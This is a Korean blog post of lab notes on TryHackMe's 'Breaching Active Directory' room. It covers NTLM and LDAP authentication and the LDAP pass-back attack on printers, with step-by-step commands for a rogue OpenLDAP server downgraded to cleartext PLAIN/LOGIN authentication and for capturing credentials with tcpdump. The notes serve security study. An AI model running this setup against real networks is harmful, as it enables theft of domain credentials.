THM - Breaching Active Directory (1)

2023. 9. 27. 16:54·System/침투

랩실에서 실습하기 위한 사전 준비

 

[ATTACKBOX]

systemd-resolve --interface breachad --set-dns {THMDC_IP} --set-domain za.tryhackme.com
nslookup thmdc.za.tryhackme.com

 

Task 4  LDAP Bind Credentials

애플리케이션이 사용할 수 있는 AD인증방법

 

4.1 NTLM

 - 시도-응답 기반 체계인 NetNTLM을 사용

 - 애플리케이션이 사용자를 대신하여 인증, 애플리케이션 자체에서 직접 사용자를 인증하지 않음

 - AD자격증명은 DC에만 저장 (애플리케이션에 저장X)

 

4.2 LDAP 

 - 애플리케이션이 사용자의 자격 증명을 직접 확인함

 - 애플리케이션은 AD 자격증명 쌍을 가지고 있음

   (해당 쌍을 사용해서 LDAP에 쿼리,AD 사용자의 자격증명을 확인함)

 

 

출처 : https://tryhackme.com/room/breachingad

4.2.1 LDAP을 통한 인증과정

User ↔ Network Connected Printer ↔ Domain Controller

(1) 사용자→프린터 : AD 계정/패스워드와 함께 인쇄 요청

(2) 프린터→DC : AD 자격증명을 사용하여 LDAP 바인딩 요청 생성

(3) DC→프린터 : 바인딩 응답 제공

(4) 프린터→DC : LDAP 사용자 검색 요청

(5) DC→프린터 : 사용자 검색에 대한응답

(6) 프린터→DC : LDAP 사용자 자격증명으로 요청 바인딩

(7) DC→프린터 : 바인딩 응답 전송

(8) 프린터→사용자 : 사용자가 인증되고, 인쇄 작업 수락

 

 

4.2.2 LDAP 패스백 공격

회의실에 악성 장치를 연결하는 등 내부 네트워크에 대한 초기 액세스 권한을 얻은 경우 프린터와 같은 네트워크 장치에 대한 일반적인 공격임.

 

 

4.2.3 악성 LDAP 서버 호스팅

→ OpenLDAP을 활용

 

1) OpenLDAP 설치

sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd

 

2) LDAP 서버 재구성

sudo dpkg-reconfigure -p low slapd

 

3) 지원하는 인증 매커니즘을 다운그레이드하여 취약한 서버로 구성

→ olcSaslSecProps.ldif 생성

*LDAP 서버가 PLAIN 및 LOGIN 인증 방법만 지원하도록 설정할 것.

*olcSaslSecProps : SASL 보안 속성을 지정

*noanonymous: 익명로그인 지원 비활성화

*minssf: 최소 허용 보안 강도 0으로 설정(보호하지 않음)

dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

※ 주의사항 : THM에서 그대로 복붙하면 개행이 하나씩 더 생기는데, 이러면 설정이 적용되지 않는다. 

 

4) 설정 적용 후 서비스 재시작

sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart

 

5) LDAP 설정이 적용되었는지 확인

ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms

 

# 결과
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGIN

 

6) 평문으로 전송되는 인증값 확인

* tcpdump : 네트워크 패킷을 캡처하고 출력하는 명령

* S 옵션 : 패킷 데이터 출력 시 스냅샷 길이를 제한하지 않음

* X 옵션 : 패킷 데이터 출력 시 16진수, ASCII 문자 함께 출력

* i 옵션 : 'breachad'라는 네트워크 인터페이스를 통하는 패킷 데이터 출력

* tcp port 389 : 필터링 조건

tcpdump -SX -i breachad tcp port 389

저작자표시 (새창열림)

'System > 침투' 카테고리의 다른 글

THM - Enumerating Active Directory(1)  (0) 2023.10.19
THM - Breaching Active Directory (2)  (1) 2023.10.12
THM - Windows Local Persistence (3)  (0) 2023.09.25
THM - Windows Local Persistence (2)  (0) 2023.09.25
THM - Windows Local Persistence (1)  (0) 2023.09.25
'System/침투' 카테고리의 다른 글
  • THM - Enumerating Active Directory(1)
  • THM - Breaching Active Directory (2)
  • THM - Windows Local Persistence (3)
  • THM - Windows Local Persistence (2)
병뚜
병뚜
열정!
  • 병뚜
    열려라 뚜껑
    병뚜
  • 전체
    오늘
    어제
    • all (372)
      • 일상X사랑X돈 (0)
        • 보안이슈 (114)
        • 뜨거운감자 (9)
        • 맛집 (2)
        • 혼잣말 (16)
      • 보안 (87)
        • 웹·모바일 (46)
        • 인프라 (19)
        • 리버싱 (8)
        • Security-Gym (10)
        • 리뷰 (4)
      • 프로그래밍 (66)
        • python (14)
        • java (12)
        • js (40)
      • System (47)
        • OS (14)
        • 침투 (33)
      • Play (20)
        • wargame (20)
      • 기타 (10)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    혼자공부하는파이썬
    IT뉴스
    자바스크립트 상속
    windows internals
    혼공단
    드림핵리버싱
    리버싱
    프로세스
    파이썬초보
    혼공학습단
    뉴스요약
    공급망공격
    랜섬웨어
    정보보호
    보안뉴스
    리버싱초보
    it이슈
    혼공
    악성코드
    파이썬
    파이썬입문
    kisa
    정보보안교육
    혼공파
    정보보안
    윈도우인터널스
    파이썬공부
    커널디버깅
    보안이슈
    jwt
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
병뚜
THM - Breaching Active Directory (1)
상단으로

티스토리툴바